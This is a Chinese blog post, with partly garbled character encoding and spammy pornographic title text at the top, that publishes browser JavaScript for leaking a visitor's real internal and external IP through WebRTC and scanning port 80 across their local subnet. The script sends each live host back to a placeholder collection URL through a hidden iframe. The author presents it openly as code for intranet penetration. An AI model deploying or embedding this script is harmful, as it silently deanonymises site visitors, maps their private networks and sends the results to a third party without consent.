国产xxxx99真实实拍_久久不雅视频_高清韩国a级特黄毛片_嗯老师别我我受不了了小说

資訊專欄INFORMATION COLUMN

js獲取內(nèi)(外)網(wǎng)真實(shí)IP地址(WebRTC)及內(nèi)網(wǎng)端口掃描

Backache / 2720人閱讀

摘要:使用的屬性來發(fā)送數(shù)據(jù)內(nèi)容接受的地址接受內(nèi)網(wǎng)的參數(shù)接受內(nèi)網(wǎng)開放端口的參數(shù)如果想獲取真實(shí)的外網(wǎng),請把下一行改為遍歷內(nèi)網(wǎng)及端口,這里只寫了端口,多個(gè)端口,速度將會(huì)的非常慢。

var ip_arr = [];
var TagName = document.getElementsByTagName("body")[0];
function form_ip(ip,port){  //使用iframe的src屬性來發(fā)送ip、port數(shù)據(jù)內(nèi)容
    var iframe = document.createElement("iframe");
    iframe.setAttribute("src","接受的地址?接受內(nèi)網(wǎng)ip的參數(shù)=" + ip + "&接受內(nèi)網(wǎng)開放端口的參數(shù)=" + port);
    iframe.setAttribute("style","display:none")
    TagName.appendChild(iframe);
}
function getIPs(callback){
    var ip_dups = {};
    var RTCPeerConnection = window.RTCPeerConnection
        || window.mozRTCPeerConnection
        || window.webkitRTCPeerConnection;
    var mediaConstraints = {
        optional: [{RtpDataChannels: true}]
    };
    var servers = undefined;
    if(window.webkitRTCPeerConnection)
    //如果想獲取真實(shí)的外網(wǎng)IP,請把下一行改為servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};
        servers = {iceServers: []};
    var pc = new RTCPeerConnection(servers, mediaConstraints);
    pc.onicecandidate = function(ice){
        if(ice.candidate){
            var ip_regex = /([0-9]{1,3}(.[0-9]{1,3}){3})/
            var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
            if(ip_dups[ip_addr] === undefined)
                callback(ip_addr);
            ip_dups[ip_addr] = true;
        }
    };
    pc.createDataChannel("");
    pc.createOffer(function(result){
        pc.setLocalDescription(result, function(){});

    }, function(){});
}
getIPs(function(ip){  //遍歷內(nèi)網(wǎng)ip及80端口,這里只寫了80端口,多個(gè)端口,速度將會(huì)的非常慢。
    ip = ip.split(".");
    ip.pop();
    ip = ip.join(".");
    for(var i = 1;i<=255;i++){
        var script = document.createElement("script");
        var ip_url = ip + "." + i + ":80";
        script.setAttribute("src","http://" + ip_url);
        script.setAttribute("onload","form_ip("" + ip + "." + i + "","80")");
        TagName.appendChild(script);
    }
});

雖然WebRTC已經(jīng)不是什么新技術(shù)了,用JavaScript進(jìn)行內(nèi)網(wǎng)滲透,網(wǎng)上也有說明,但是都沒怎么放出代碼。這里就就放出我自己的寫的。getIPs(function(ip){...} 效率不怎么高,如有更高者可以在下面給出。

文章版權(quán)歸作者所有,未經(jīng)允許請勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。

轉(zhuǎn)載請注明本文地址:http://m.specialneedsforspecialkids.com/yun/85734.html

相關(guān)文章

  • JavaScript 是如何工作的:WebRTC 和對(duì)等網(wǎng)絡(luò)的機(jī)制!

    摘要:為了使連接起作用,對(duì)等方必須獲取元數(shù)據(jù)的本地媒體條件例如,分辨率和編解碼器功能,并收集應(yīng)用程序主機(jī)的可能網(wǎng)絡(luò)地址,用于來回傳遞這些關(guān)鍵信息的信令機(jī)制并未內(nèi)置到中。所有特定于多媒體的元數(shù)據(jù)都使用協(xié)議傳遞。 這是專門探索 JavaScript 及其所構(gòu)建的組件的系列文章的第 18 篇。 想閱讀更多優(yōu)質(zhì)文章請猛戳GitHub博客,一年百來篇優(yōu)質(zhì)文章等著你! 如果你錯(cuò)過了前面的章節(jié),可以在這里...

    XBaron 評(píng)論0 收藏0
  • 在瀏覽器中快速探測IP端口是否開放

    摘要:探測端口開放原理就是向目標(biāo)發(fā)送請求,看是否有回應(yīng)。端口判定為不通。掃描批量目標(biāo)掃描批量目標(biāo)使用的并發(fā)隊(duì)列功能,去執(zhí)行的執(zhí)行單個(gè)任務(wù),在掃描前做了一些額外的工作把瀏覽器屏蔽的端口過濾掉了,收到的狀態(tài)就是。 0×00 前言 前兩天 freebuf上的的XSS到內(nèi)網(wǎng)的公開課很受啟發(fā),從一個(gè)頁面到局域網(wǎng),威力著實(shí)增強(qiáng)不少 公開課上檢測內(nèi)網(wǎng) IP 實(shí)現(xiàn)方式用的是 img 標(biāo)簽,加載網(wǎng)站的 fav...

    jackwang 評(píng)論0 收藏0
  • 在瀏覽器中快速探測IP端口是否開放

    摘要:探測端口開放原理就是向目標(biāo)發(fā)送請求,看是否有回應(yīng)。端口判定為不通。掃描批量目標(biāo)掃描批量目標(biāo)使用的并發(fā)隊(duì)列功能,去執(zhí)行的執(zhí)行單個(gè)任務(wù),在掃描前做了一些額外的工作把瀏覽器屏蔽的端口過濾掉了,收到的狀態(tài)就是。 0×00 前言 前兩天 freebuf上的的XSS到內(nèi)網(wǎng)的公開課很受啟發(fā),從一個(gè)頁面到局域網(wǎng),威力著實(shí)增強(qiáng)不少 公開課上檢測內(nèi)網(wǎng) IP 實(shí)現(xiàn)方式用的是 img 標(biāo)簽,加載網(wǎng)站的 fav...

    jlanglang 評(píng)論0 收藏0

發(fā)表評(píng)論

0條評(píng)論

Backache

|高級(jí)講師

TA的文章

閱讀更多
最新活動(dòng)
閱讀需要支付1元查看
<